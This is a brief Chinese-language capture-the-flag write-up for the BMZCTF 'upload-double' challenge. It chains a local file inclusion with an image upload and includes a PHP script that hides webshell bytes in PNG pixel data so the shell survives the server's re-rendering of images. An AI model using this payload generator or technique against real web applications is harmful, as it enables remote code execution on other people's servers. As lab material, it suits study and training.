BMZCTF：upload-double

http://www.bmzclub.cn/challenges#upload-double

/inc.php?inc=upload.php疑似存在文件包含，文件上传后缀被控制的无法绕过，上传图片马然后，尝试包含图片马

成功包含了，但是好像执行并没有效果

下载上传到服务器上的图片，发现木马的内容不见了，判断这里应该是对上传的图片进行了二次渲染，木马内容被渲染后去除了

要使图片马有效，就得将木马内容写在不会被二次渲染的区域，搜索引擎找到个脚本可以将木马内容放在不会被渲染的区域，并且能够成功上传

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./reander.png');
?>

成功包含木马内容